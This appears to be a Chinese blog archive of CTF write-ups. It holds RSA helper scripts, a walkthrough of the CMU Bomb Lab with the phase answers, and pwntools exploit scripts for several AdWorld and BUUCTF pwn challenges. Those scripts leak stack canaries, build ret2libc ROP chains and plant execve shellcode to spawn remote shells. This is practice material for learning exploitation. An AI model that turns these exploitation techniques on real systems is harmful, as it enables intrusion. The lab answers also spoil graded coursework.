分类目录归档:信息安全

CTF RSA 高精度整数开根 解一元二次方程

做BJDCTF第二届出的RSA题目,需要解高精度整数的一元二次方程,参考着网上写了个Python脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def HPSqrt(a,b): #高精度开整数根,a为开几次根,b为要开根的数
    l=0
    r=1
    while(r**a<=b):
        l=r
        r=r*2  
    while(l+1<r):  
        mid=(l+r)//2
        if (mid**a<=b): l=mid
        else: r=mid
    if (l**a<=b): return l
    else: return r

def HPSolve12(a,b,c): #高精度解整数一元二次方程,解RSA用
    key=HPSqrt(2,b*b-4*a*c)
    return ((-b+key)//2//a,(-b-key)//2//a)

a=1
b=-2
c=1
print(HPSolve12(a,b,c)) #将方程整理成ax^2+bx+c=0的形式代入即可

参考资料:高精度Python开根 https://www.luogu.com.cn/blog/wjy666/solution-p2293

CMU 15213 Bomb Lab Reverse

被foobar科学院的朋友们拉进坑。
这些逆向题,都算还比较简单的,至少比AdWorld的有些题简单。。
主要使用IDA F5解决。里面的符号名字需配合我的加好注释的i64食用。
Phase_1:显然输入Border relations with Canada have never been better.即可。
Phase_2:程序逻辑是 读入6个数,要求每个数是前面一个数的2倍。且第一个数必须是一。故填入1 2 4 8 16 32。
Phase_3:读入两个数,有一个大Switch,只要照着Switch里的对应关系填好就行。我选0 207.
Phase_4:读入两个数,第二个数没用,但是要求小于14,第一个数调用一个递归函数。懒得看这个递归,暴力跑一下,填0即可。故输入0 0.
Phase_5:首先要求字符串长度是6.然后依次取字符串每个字符的低8位,到长为0xF的字符数组中去置换字符。拼出来是flyers即胜利。一种可能的解是ionefg。
Phase_6:这关是最麻烦的。得一点一点看。注意符号里留下的暗示,node1~node6,其实这些东西代表单链表节点,前8个字节是long long的value,后8个字节是node* 的ptr。把数都读入到arr1[6]里面。第一个大循环要求每个数小于等于6,且数组里每个数不重复。第二个循环使数组里每个数x都变为7-x。第三个循环在栈上开了空间node* v17[6],用来存放单链表节点地址。根据arr1[i]的值来确定v17[i]该存入那个地址。即v17[i]=&node[arr1[i]]。从这里可以猜测判断,前面人输入的数不能是0.必须是1-6.第4个循环最复杂。他的实际作用是根据v17数组的前后顺序更改Node1到Node6这几个节点的连接关系。可配合i64代码自行思考。第5个循环是约束条件,要求链表前面的节点的LODWORD(即Longlong的低32bit signed int)要大于后一个节点的。由此查看Node的内存布局。按照LODWORD排序,应该是3 4 5 6 1 2.再用7去减,就得4 3 2 1 6 5.输入即可通关。

CMU链接:http://csapp.cs.cmu.edu/3e/labs.html
IDA i64下载链接、源程序下载链接:bomb

AdWorld Pwn pwn1

Canary泄露入门题:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4598&page=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *
import os
context.log_level="debug"
context(arch="amd64",os="linux")

ROP_PopRdi = 0x400a93
ROP_Ret = 0x40067e
ADDR_GOT_read = 0x600FD0
ADDR_PLT_puts = 0x400690
ADDR_SYM_main = 0x400908

p = remote("111.198.29.45",38563)
#p = process("./babystack")
p.sendlineafter(">> ","1")
payload1 = b'0'*0x88
p.sendline(payload1)
p.sendlineafter(">> ","2")
p.recvuntil("00\n")
canary = u64(b"\x00" + p.recv(7))

print(hex(canary))
p.sendlineafter(">> ","1")
payload2 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_PopRdi) + p64(ADDR_GOT_read) + p64(ADDR_PLT_puts) + p64(ADDR_SYM_main)
p.sendline(payload2)
p.sendlineafter(">> ","3")

GOT_read = p.recvuntil("\n").split()[0]
for i in range(len(GOT_read),8):
    GOT_read += b'\x00'
GOT_read = u64(GOT_read)

libc = LibcSearcher("read",GOT_read)
ADDR_LibC_base = GOT_read - libc.dump("read")
ADDR_system = ADDR_LibC_base + libc.dump("system")
ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh")
p.sendlineafter(">> ","1")
payload3 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_Ret) + p64(ROP_PopRdi) + p64(ADDR_String_Sh) + p64(ADDR_system)
p.sendline(payload3)
p.sendlineafter(">> ","3")

p.interactive()

AdWorld Pwn pwn-200

学了64位的ROPGadgets就把32位咋传参的搞忘了???
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4847&page=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
import time
context.log_level="debug"
context(arch="amd64",os="linux")

z = remote('111.198.29.45',49363)
z.recvuntil("Welcome to XDCTF2015~!\n")
elf = ELF("./pwn")
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x80484be
payload = b'a'*0x6c + p32(0) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4) + b'a'*(0x100-6*4-0x6c)
z.send(payload)
read_addr = u32(z.recv(4))
print(hex(read_addr))
libc = LibcSearcher('read',read_addr)
libc_addr = read_addr - libc.dump('read')
sys_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
payload2 = b'a'*0x6c + p32(0) + p32(sys_addr) + p32(0) + p32(binsh_addr) + b'a'*(0x100-4*4-0x6c)
z.send(payload2)
z.interactive()

有两点要注意:一个是read函数会不多不少的读入给定的字节数,不需要换行,如果多打了换行是会算到下一个read里的。
(更新:用换行可以提前结束read函数,且这个换行符会被读入)
还有一个问题是又和64位搞混了。把栈布局成了write_plt,1,read_got,4,main_addr的结构。这是错误的。栈应该如下布置:call_function,return_function,var_1,var_2,…

AdWorld Pwn note-service2

新接触的一道题,新题型。。
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4611&page=1
Writeup: https://adworld.xctf.org.cn/media/uploads/writeup/ee65882803c511ea9f5700163e004e93.pdf
开眼23333。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

def create(p,index,size,content):
    p.sendlineafter("your choice>> ","1")
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def delete(p,index):
    p.sendlineafter("your choice>> ","4")
    p.sendlineafter("index:",str(index))

p = remote("111.198.29.45",34191)
#p = process("./1")

ASM = []
ASM.append(asm("xor rax,rax") + b"\x90\x90\xeb\x19")
ASM.append(asm("mov eax,0x3b") + b"\xeb\x19")
ASM.append(asm("xor rsi,rsi") + b"\x90\x90\xeb\x19")
ASM.append(asm("xor rdx,rdx") + b"\x90\x90\xeb\x19")
ASM.append(asm("syscall") + b"\x90\x90\x90\x90\x90")

for i in range(0,5):
    create(p,i,8,ASM[i])
delete(p,0)
create(p,-8,8,ASM[0])
p.sendlineafter("your choice>> ","/bin/sh")

p.interactive()

附上i64db:
1f10c9df3d784b5ba04b205c1610a11e

CTF Pwn AdWorld stack2

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4695&page=1
新颖题型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level="debug"
context(arch="amd64",os="linux")

def change(p,offset,num):
    p.sendline("3")
    p.sendline(str(offset))
    p.sendline(str(num))

p = remote("111.198.29.45",48634)
p.sendline("0")

off = 0x84
system_addr = 0x8048450
sh_addr = 0x8048987

for i in range(0,4):
    change(p,off+i,system_addr&0xFF)
    system_addr>>=8

off += 8
for i in range(0,4):
    change(p,off+i,sh_addr&0xFF)
    sh_addr>>=8

p.sendline("5")
p.interactive()

BUUCTF Pwn ciscn_2019_c_1

本题涉及了栈对齐问题,这个pwn在ubuntu18上运行,调用system的时候需要加1个retn来去补齐,目前不知道具体的原因。经实验再多加4个retn也可,可知这个栈对齐是32字节的。
2022年1月16日更新:加1个、3个、5个retn都可以,应该是16字节对齐的。原因是Ubuntu 18.04中的Glibc使用的movaps指令需要16字节对齐。可以参考下列资料:https://bbs.pediy.com/thread-269597.htm

from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

pop_rdi = 0x0000000000400c83
puts_got_addr = 0x602020
puts_plt_addr = 0x4006e0
encrypt_sym_addr = 0x4009A0
ret = 0x4006b9

#p = remote("node3.buuoj.cn",28578)
p=process("./ciscn_2019_c_1")
p.sendline("1")
payload=b'0'*0x50+p64(0)+p64(pop_rdi)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(encrypt_sym_addr)
p.sendline(payload)
p.recvuntil("Ciphertext\n")
p.recvuntil("\n")

GOT_puts=p.recvuntil("\n").split()[0]
print(GOT_puts)
for i in range(len(GOT_puts),8):
    GOT_puts += b'\x00'
GOT_puts = u64(GOT_puts)

libc = LibcSearcher("puts",GOT_puts)
ADDR_LibC_base = GOT_puts - libc.dump("puts")
ADDR_system = ADDR_LibC_base + libc.dump("system")
ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh")
payload=b'0'*0x50+p64(0)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(pop_rdi)+p64(ADDR_String_Sh)+p64(ADDR_system) # 删去4个retn也可
p.sendline(payload)

p.interactive()

CTF Pwn ROP Pwn-100

今日学习ROP。并看着WriteUp做出了一道题目。
ROP主要参考资料:(不分先后)
https://www.jianshu.com/p/80d7150dd0a2
https://baike.baidu.com/item/ROP%E7%B3%BB%E7%BB%9F%E6%94%BB%E5%87%BB/16230646?fr=aladdin
https://www.jianshu.com/p/1d7f0c56a323
https://www.cnblogs.com/ichunqiu/p/9288935.html
题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4888&page=1
Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

ROP_PopRdi = 0x400763
ADDR_GOT_read = 0x601028
ADDR_PLT_puts = 0x400500
ADDR_SYM_main = 0x4006b8

p = remote("111.198.29.45",30265)
payload1 = b'0'*0x48 + p64(ROP_PopRdi) + p64(ADDR_GOT_read) + p64(ADDR_PLT_puts) + p64(ADDR_SYM_main) + b'0'*(0xc8-0x48-32)
p.send(payload1)
p.recvuntil("bye~\n")


GOT_read = p.recvuntil("\n").split()[0]
for i in range(len(GOT_read),8):
    GOT_read += b'\x00'
GOT_read = u64(GOT_read)

libc = LibcSearcher("read",GOT_read)
ADDR_LibC_base = GOT_read - libc.dump("read")
ADDR_system = ADDR_LibC_base + libc.dump("system")
ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh")
payload2 = b'0'*0x48 + p64(ROP_PopRdi) + p64(ADDR_String_Sh) + p64(ADDR_system) + b'0'*(0xc8-0x48-24)
p.send(payload2)
p.recvuntil("bye~\n")

p.interactive()

CTF Crypto RSA

已知质数p,q,公钥(指数)e,求私钥d。
利用欧拉定理解私钥d,利用扩展欧几里得求逆元。
python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def CPPDiv(a,b):
    return int(a/b)

def CPPMod(a,b):
    quotient = CPPDiv(a,b)
    return a-b*quotient

def ExGCD(a,b,x,y): # Return GCD,x,y
    if b==0: return a, 1, 0
    d, y, x = ExGCD(b, CPPMod(a,b), y ,x)
    y -= CPPDiv(a,b)*x
    return d, x, y

def ExGCD_Cal(a,b):
    return ExGCD(abs(a),abs(b),0,0)[1:]

def QuickPow(a,b,MOD):
    if b==0: return 1
    result = QuickPow(a,b//2,MOD) % MOD
    result *= result
    if b&1==1: result *= a
    result %= MOD
    return result

def solveRSAd(n,phi,e):
    u, v = ExGCD_Cal(e, phi)
    if v>0:
        u += phi
        v = e-v
    return u

def Main():
    p = int(input("Prime p:"))
    q = int(input("Prime q:"))
    phi = (p-1)*(q-1)
    n = p * q
    print("Mod N: %d" % n)
    e = int(input("Public Key e:"))
    d = solveRSAd(n, phi, e)
    print("Private Key d: %s" % d)

if __name__ == '__main__':
    Main()

已知质数p,q,公钥(指数)e,和密文c,解出私钥d和明文m。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def CPPDiv(a,b):
    return int(a/b)

def CPPMod(a,b):
    quotient = CPPDiv(a,b)
    return a-b*quotient

def ExGCD(a,b,x,y): # Return GCD,x,y
    if b==0: return a, 1, 0
    d, y, x = ExGCD(b, CPPMod(a,b), y ,x)
    y -= CPPDiv(a,b)*x
    return d, x, y

def ExGCD_Cal(a,b):
    return ExGCD(abs(a),abs(b),0,0)[1:]

def QuickPow(a,b,MOD):
    if b==0: return 1
    result = QuickPow(a,b//2,MOD) % MOD
    result *= result
    if b&1==1: result *= a
    result %= MOD
    return result

def solveRSAd(n,phi,e):
    u, v = ExGCD_Cal(e, phi)
    if v>0:
        u += phi
        v = e-v
    return u

def Main():
    p = int(input("Prime p:"))
    q = int(input("Prime q:"))
    phi = (p-1)*(q-1)
    n = p * q
    print("Mod N: %d" % n)
    e = int(input("Public Key e:"))
    d = solveRSAd(n, phi, e)
    print("Private Key d: %s" % d)
    c = int(input("Cipher c:"))
    m = pow(c,d,n)
    print("Plain m: %s" % str(hex(m)))
   

if __name__ == '__main__':
    Main()

参考链接:

数论代码总结

洛谷 同余方程


https://www.freebuf.com/sectool/163781.html
还有一本数论概论:)